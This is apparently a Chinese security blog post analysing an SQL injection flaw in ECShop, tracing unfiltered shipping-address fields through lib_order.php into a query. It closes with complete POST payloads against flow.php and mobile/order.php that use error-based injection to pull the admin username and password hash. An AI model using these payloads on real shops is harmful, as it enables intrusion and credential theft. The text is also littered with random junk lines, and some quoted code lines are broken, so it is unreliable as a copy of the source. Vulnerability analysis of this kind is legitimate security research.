ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
5 i. Y( W4 v+ x
    漏洞关键文件：

( \" S7 d7 t. \6 k" Q3 `3 c    /includes/lib_order.php

: Y: Y7 t8 r$ ]" B1 Z; \; c6 A    关键函数：



01     function available_shipping_list($region_id_list)
  K8 A" Q; R1 v) E. e" L
02 {
$ ~) Y. F5 `- `! I0 D0 `
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .

/ A6 k* l( z  s5 c6 H2 F04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .

05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
  [5 f( \; s6 K/ S
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

1 e. C0 T) J) Y4 ?! I3 c07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

5 ~* \+ p, Y* x# R$ r) [- `* `08             'WHERE r.region_id ' . db_create_in($region_id_list) .

09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
' t: U; q! _' {0 e: i8 \
( X- M! [8 {2 M9 S10   

  \. B( y7 M2 N' p; h% a7 e' o11     return $GLOBALS['db']->getAll($sql);
8 x: Z. C3 `0 E, A4 t2 }
12 }

显然对传入的参数没有任何过滤就带入了查询语句。

下面我们追踪这个函数在flow.php中：
/ B* n$ K4 p' K6 p. w1 r, d' H 第531行：   

1 $shipping_list     = available_shipping_list($region);
- @; C" _9 t) U5 w0 z$ F
9 t4 g; e- U5 }4 c  D1 a$ B1 P
( }" R# q' Y( y+ v( _) Y( n

" i+ q; [$ D, j9 f! {
' j/ F* E( g. u再对传入变量进行追踪：

- R7 \. P2 _) c3 Q第530行：   

/ \# V6 G: `+ m7 v5 o9 H  W! J1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
' r, d" u1 J5 j& P$ u  ]) s% O! f2 z+ [




9 T. F9 u% Q  E5 a第473行：        

1 $consignee = get_consignee($_SESSION['user_id']);
- t$ C) B/ Y6 J5 d' p
3 a$ H6 L6 r- E) o' a, b到了一个关键函数：

; j  S( y0 K- P2 ]9 h  h# ^/includes/lib_order.php
) V5 x) H: r- p2 g! E0 w6 P


, L; C2 R: P7 C  f9 U+ g$ v- d3 ?

3 u  G( k/ M: c. j1 n01 function get_consignee($user_id)

02 {

8 {9 X9 h' B$ D- Q: ?  Y, ~* o, P03     if (isset($_SESSION['flow_consignee']))
1 J9 q, d$ a9 t5 @
+ w# _8 M  j( f* N+ `3 W04     {
2 `, O5 P3 O. S( M4 j" l" B' x
/ I7 K' R( O0 s; Z05         /* 如果存在session，则直接返回session中的收货人信息 */
* z8 h% b& Z2 R- a2 K( y
+ i/ r4 P/ f1 M: w* j! W6 `06   

07         return $_SESSION['flow_consignee'];

' [  H! F# s9 H( _' k08     }

+ n8 b! \( V2 P( o( ]- Y09     else
9 H; Q4 M( S3 E: ]2 F
10     {
8 ]7 U0 k2 n8 t1 ~4 ?9 U- a
- ]4 c/ s+ R' @8 ~6 x% E11         /* 如果不存在，则取得用户的默认收货人信息 */
1 w" n* ^' t2 g1 ~/ J% O
12         $arr = array();

13   
8 X: L7 y/ t4 H- K( J! u" H
14         if ($user_id > 0)

15         {

16             /* 取默认地址 */

5 t+ z' G6 ?8 H( G# n% I17             $sql = "SELECT ua.*".
3 G! U. M& F% d4 w
& F* t2 Y% s( }" ]18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
* ^) n3 U, W$ |
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

: L/ g4 R& o2 y0 ~2 }3 b: P20   
9 z5 m4 p  b# h& n# |0 ]. e
& S6 ]1 M+ ?7 X+ s21             $arr = $GLOBALS['db']->getRow($sql);

22         }

23   
9 t4 y( w/ o7 g4 w% ]6 ~  y- Y* H  ]
4 J& b# h: q( S) t! J24         return $arr;

/ w2 h3 i( \3 [# b4 ^25     }
- f7 O2 ?% a! t/ I
2 C: }3 L6 T% w' h9 {- v% c/ f26 }
6 p; Y8 |: u! l6 x0 R+ D
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？

9 T4 V0 r. u' n: m) ]; Z( ?7 Q# X% r
8 U8 E4 j1 E8 H: T9 q# ~
关键点:

4 l8 K9 O4 ?# F5 v第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
9 y2 T  g+ f" q' F
- l& u1 ?: V8 L6 ^0 T4 I+ g8 i- b& q这里对传入参数反转义存入$_SESSION中。



然后看下：
/ e# U. w. D9 k: e" a3 S! |
3 J, q( ]8 E! @& y

   
# y- |# L8 ~- `" Z0 R8 U0 @; [! ~
01 $consignee = array(
; i8 p/ n+ f- ]( F- `; x
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

( }% e# K' ~3 G- Z3 n; \( [  F04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
8 q, Q' A0 A$ {. W$ H! K
+ ?6 v- M4 G0 G* M05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
: p; ?3 Y1 J0 q6 K
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
& G/ h" ]1 G( U8 i$ L, }, T. N
  F, J) O; Q3 ~- B07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

08         'email'         => empty($_POST['email'])      ? '' _POST['email'],

09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
+ n9 n+ V4 v/ S% v( A0 R
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),

13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
& D  u2 E. c" y
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

15     );

好了注入就这样出现了。
/ r9 N5 ?- l( A9 h* X7 S2 a
==================
4 P( w2 j) ]% q: |! `
注入测试：

* O, z# S8 p/ R( g$ p: N# Z0 P环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
5 o! I: V& p3 \4 L; H8 e
7 ^/ F! m3 s8 ^$ z测试程序：ECShop_V2.7.3_UTF8_release1106

  S0 M: o$ V5 u) U5 l6 @! }( a

+ ?+ L2 y8 U' B- P- t1.首先需要点击一个商品加入购物车

2.注册一个会员帐号

3.post提交数据

2 M# ~  e# R6 p
6 h  l. F* i! A' }' B$ j
1 http://127.0.0.1/ecshop/flow.php

  C$ h+ p8 B4 P3 }" K2   

6 B  p+ ^+ n4 u; \3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：

我们搜寻关键函数function available_shipping_list()
& Y7 e, m! ]' \8 C7 F7 m' N1 @/ r
& d* o. G& {" I9 n1 p: A! a0 L在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
: Q3 B4 M4 }$ m9 b2 B
# x+ t! c" u. M( e利用exp:
0 ~* t' E1 t5 I6 g; p1 }
8 ^7 k7 c+ d5 e1.点击一个商品，点击购买商标

2.登录会员帐号
  a* K* T  z, {# r6 I" t3 r- E, [
3.post提交：

http://127.0.0.1/ecshop/mobile/order.php
% J2 c3 F2 P5 _# e# Z( a


+ _1 d- @$ r0 k; S: c" Ccountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=

$ `, G/ E9 n4 F& h- P